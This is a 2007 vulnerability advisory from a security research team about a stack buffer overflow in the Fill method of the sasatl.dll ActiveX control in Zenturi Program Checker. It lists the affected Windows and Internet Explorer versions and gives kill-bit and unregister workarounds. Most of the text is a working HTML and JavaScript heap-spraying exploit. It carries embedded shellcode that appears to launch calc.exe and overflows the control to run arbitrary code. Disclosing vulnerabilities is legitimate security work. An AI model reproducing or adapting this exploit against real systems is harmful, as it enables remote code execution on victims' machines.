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:. GOODFELLAS Security Research TEAM .:<BR>
:. http://goodfellas.shellcode.com.ar .:<BR>
<BR>
<BR>
sasatl.dll 1.5.0.531 Program Checker - Javascript Heap Spraying Exploit<BR>
==========================================<BR>
Internal ID: VULWAR200707101.<BR>
<BR>
<BR>
Introduction<BR>
---------------<BR>
sasatl.dll is a library included in the Program Checker Pro software <BR>
package from the Zenturi. (http://www.programchecker.com)<BR>
<BR>
<BR>
Tested In<BR>
-----------<BR>
- Windows XP SP1/SP2 english/french with IE 6.0 / 7.0.<BR>
- Windows vista Professional English/French SP1 with IE 7.0<BR>
<BR>
<BR>
Summary<BR>
------------<BR>
The Fill method is prone to a stack-based buffer-overflow vulnerability <BR>
because it fails to properly check boundaries.<BR>
<BR>
<BR>
Impact<BR>
---------<BR>
An attacker could execute arbitrary code into the remote machine.<BR>
<BR>
<BR>
Workaround<BR>
---------------<BR>
- Activate the Kill bit zero in clsid:7D6B5B29-FC7E-11D1-9288-00104B885781.<BR>
- Unregister sasatl.dll using regsvr32.<BR>
<BR>
<BR>
Timeline<BR>
----------<BR>
July 10, 2007 -- Bug published.<BR>
<BR>
<BR>
Credits<BR>
---------<BR>
* callAX <callAX@shellcode.com.ar><BR>
* GoodFellas Security Research Team <goodfellas.shellcode.com.ar><BR>
<BR>
Proof of Concept<BR>
----------------<BR>
<BR>
<HTML><BR>
<BODY><BR>
<object id=boom classid="clsid:{7D6B5B29-FC7E-11D1-9288-00104B885781}"></object><BR>
<BR>
<SCRIPT><BR>
<BR>
var payLoadCode=unescape(<BR>
"%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +<BR>
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +<BR>
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +<BR>
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +<BR>
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +<BR>
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +<BR>
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +<BR>
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +<BR>
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +<BR>
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +<BR>
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +<BR>
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +<BR>
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +<BR>
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +<BR>
"%u652E%u6578%u9000");<BR>
<BR>
<BR>
var spraySlide = unescape("%u9090%u9090");<BR>
var heapSprayToAddress = 0x0c0c0c0c;<BR>
<BR>
<BR>
function Tryme()<BR>
{<BR>
var size_buff = 900;<BR>
var x = unescape("%0C%0C%0C%0C");<BR>
while (x.length<size_buff) x += x;<BR>
x = x.substring(0,size_buff);<BR>
<BR>
boom.Fill(x);<BR>
}<BR>
<BR>
<BR>
function getSpraySlide(spraySlide, spraySlideSize)<BR>
{<BR>
while (spraySlide.length*2<spraySlideSize)<BR>
{<BR>
spraySlide += spraySlide;<BR>
}<BR>
spraySlide = spraySlide.substring(0,spraySlideSize/2);<BR>
return (spraySlide);<BR>
}<BR>
<BR>
var heapBlockSize = 0x400000;<BR>
var SizeOfHeapDataMoreover = 0x26;<BR>
var payLoadSize = (payLoadCode.length * 2);<BR>
<BR>
var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);<BR>
var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;<BR>
<BR>
var memory = new Array();<BR>
spraySlide = getSpraySlide(spraySlide,spraySlideSize);<BR>
<BR>
for (i=0;i<heapBlocks;i++)<BR>
{<BR>
memory[i] = spraySlide + payLoadCode;<BR>
}<BR>
<BR>
</SCRIPT><BR>
<input language=JavaScript onclick=Tryme() type=button value="Proof of Concept"><BR>
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